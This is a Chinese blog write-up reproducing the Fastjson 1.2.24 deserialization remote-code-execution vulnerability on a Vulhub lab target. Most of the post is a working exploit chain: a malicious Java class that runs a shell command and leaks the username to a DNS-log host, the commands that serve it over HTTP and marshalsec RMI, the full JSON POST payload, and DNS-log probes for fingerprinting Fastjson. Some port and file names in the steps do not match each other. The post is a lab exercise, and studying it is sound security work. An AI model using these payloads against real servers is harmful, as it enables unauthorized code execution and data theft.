Fastjson1.2.24RCE漏洞复现
2021-03-08 12:41
761 查看
Fastjson1.2.24RCE漏洞复现
环境搭建
这里用的Vulhub靶场
cd /vulhub/fastjson/1.2.24-rce docker-compose up -d
报错
ERROR: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution
名称解析失效,我的问题是虚拟机NAT网络出了点问题,重启就好了。
参考:https://blog.csdn.net/qq_43743460/article/details/105648139
靶机环境:
Ubuntu 16 :Vulhub
Kali :
jdk 1.8 + maven 3.6.3
如果maven没有安装的话需要自己百度搭一下或者参考我这篇
docker环境起来后访问 ip:8090查看,页面是这样的。
大致流程:
编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令
1234端口用Python起一个SimpleHTTPServer
9999端口利用marshalsec项目起一个RMI服务
HTTPServer与RMI可以在同一个服务器搭
将下面代码写入dnslog.java
import java.lang.Runtime; import java.lang.Process; public class dnslog{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.DNSLOG地址"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
生成 test.class文件
javac test.java
之后python起一个http服务,监听在1234端口上
python -m SimpleHTTPServer 1234
用marshalsec项目起一个RMI服务,监听9999端口并加载远程类dnslog.class
git clone https://github.com/mbechler/marshalsec.git # mvn编译 marshalsec项目 mvn clean package -DskipTests
编译完成会出现如下图的 BUILD SUCCESS 的INFO信息。
开启RMI服务并加载dnslog类
cd target java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.124.141:4567/#dnslog" 9999
漏洞复现
ok,下面burp抓包发送payload即可,因为DNS解析的问题,第一次解析会有些慢需要多等会。
poc:
POST / HTTP/1.1 Host: 192.168.124.153:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 174 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.124.141:9999/dnslog", "autoCommit":true } }
响应包和DNSLOG:
RMI服务:
SimpleHTTPServer:
判断fastjson
这里参考的是freebuf大佬的思路,主要是根据返回包判断,再一个就是DNSLOG盲打。文末贴上传送门。
即看到json的返回包,抓个包,POST只加个
{发过去,如果返回包报错存在fastjson字样就确认了。当然这个了能会屏蔽。
比如vulhub靶场这个就不可以了
或构造以下payload,利用dnslog平台接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} 1.2.67版本后payload {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} 畸形: {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} "@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}} ["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type": "java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}
Reference
相关文章推荐
- Fastjson <=1.2.62 远程代码执行-漏洞复现
- 菜鸡一枚(勿喷)复现Fastjson「=1.2.47反序列化漏洞
- fastjson1.2.47以下 RCE 漏洞复现
- fastjson>=1.2.47反序列化漏洞复现及实际利用
- 五分钟复现fastjson1.2.24反序列化漏洞
- Fastjson<=1.2.47反序列化漏洞复现
- Fastjson存在远程代码执行高危安全漏洞
- Fastjson反序列化漏洞概述
- fastjson又被发现漏洞,这次危害可能会导致服务瘫痪
- fastjson漏洞升级修复小记
- fastjson漏洞导致服务瘫痪,先别忙升级
- Fastjson反序列化漏洞研究
- fastjson到底做错了什么?为什么会被频繁爆出漏洞?
- Fastjson 爆出远程代码执行高危漏洞
- Fastjson 爆出远程代码执行高危漏洞,更新版本已修复
- fastjson 反序列化漏洞笔记,比较乱
- Fastjson又被发现漏洞,这次危害可导致服务瘫痪!
- 零信任理念有望缓解fastjson软件漏洞
- Fastjson反序列化漏洞研究
- Fastjson反序列化漏洞分析